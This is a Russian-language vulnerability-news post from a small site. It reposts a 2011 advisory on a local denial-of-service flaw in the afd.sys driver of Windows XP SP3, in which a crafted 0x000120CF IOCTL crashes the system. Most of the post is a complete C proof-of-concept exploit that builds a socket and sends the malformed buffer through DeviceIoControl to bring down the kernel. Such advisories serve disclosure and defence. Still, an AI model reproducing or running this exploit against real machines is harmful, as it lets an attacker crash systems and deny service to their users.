SgW32 Пятница, 19.04.2024, 13:50
Главная | Регистрация | Вход Приветствую Вас Гость | RSS
Меню сайта

Разделы новостей
Уязвимости [106]
Релизы [7]
Туториалы [0]
Новости сайта [2]
Инетересности [2]
Другое [1]

Наш опрос
Каких программ на сайте не хватает?
Всего ответов: 72

Главная » 2011 » Июнь » 7 » Отказ в обслуживании в afd.sys драйвере в Microsoft Windows
Отказ в обслуживании в afd.sys драйвере в Microsoft Windows
21:55

Отказ в обслуживании в afd.sys драйвере в Microsoft Windows

11 апреля, 2011

Программа: Microsoft Windows XP

Опасность: Низкая

Наличие эксплоита: Да

Описание:
Уязвимость позволяет локальному пользователю произвести DoS атаку.

Уязвимость существует из-за ошибки в afd.sys драйвере при обработке IOCTL запросов. Локальный пользователь может с помощью специально сформированного 0x000120CF IOCTL запроса спровоцировать обращение драйвера к некорректному адресу в памяти и аварийно завершить работу системы.

URL производителя: www.microsoft.com

Решение: Способов устранения уязвимости не существует в настоящее время.





Эксплоит:

// exp.cpp : Defines the entry point for the console application.
//

////////////////////////////////////////////////////////////////////////////
//
// Title: Microsoft Windows xp AFD.sys Local Kernel DoS Exploit
// Author: Lufeng Li of Neusoft Corporation
// Vendor: www.microsoft.com
// Vulnerable: Windows xp sp3
//
/////////////////////////////////////////////////////////////////////////////


//#include "stdafx.h"
#include <stdio.h>
#include <Winsock2.h>

#pragma comment (lib, "ws2_32.lib")
BYTE buf[]={
0xac,0xfd,0xd3,0x00,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x20,0x00,0x00,0x00,0xe8,0xfd,0xd3,0x00,
0xb8,0xfd,0xd3,0x00,0xf8,0xfd,0xd3,0x00,0xc4,0xfd,
0xd3,0x00,0xcc,0xfd,0xd3,0x00};



int main()
{
WSADATA ws;

    SOCKET tcp_socket;
    struct sockaddr_in peer;
    ULONG  dwReturnSize;

    printf("\n Microsoft Windows xp AFD.sys Local Kernel DoS Exploit \n\n");
    printf("\t Create by Lufeng Li of Neusoft Corporation. \n\n");

    WSAStartup(0x0202,&ws);

    peer.sin_family = AF_INET;
    peer.sin_port = htons( 0x01bd );
    peer.sin_addr.s_addr = inet_addr( "127.0.0.1" );

    tcp_socket = socket(AF_INET, SOCK_DGRAM, 0);//SOCK_DGRAM

    if ( connect(tcp_socket, (struct sockaddr*) &peer, sizeof(struct sockaddr_in)) )
    {
        printf("connect error\n");
        exit(0);
    }

    DeviceIoControl( (HANDLE)tcp_socket,0x000120cf, buf,0x24,buf,0x24,&dwReturnSize, NULL);
    
    return TRUE;
}

Источник:http://www.securitylab.ru/vulnerability/405354.php

Категория: Уязвимости | Просмотров: 2513 | Добавил: Sgw32 | Рейтинг: 0.0/0 |
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Форма входа

Календарь новостей
«  Июнь 2011  »
ПнВтСрЧтПтСбВс
  12345
6789101112
13141516171819
20212223242526
27282930

Поиск

Друзья сайта

    Integral Calculator
    Enter a function to integrate:

    Variable:

    Limit Calculator
    Enter a function to compute its limit:
    Limit variable: Compute at: Limit type

Статистика

Copyright Sgw32 Corporation © 2024 Используются технологии uCoz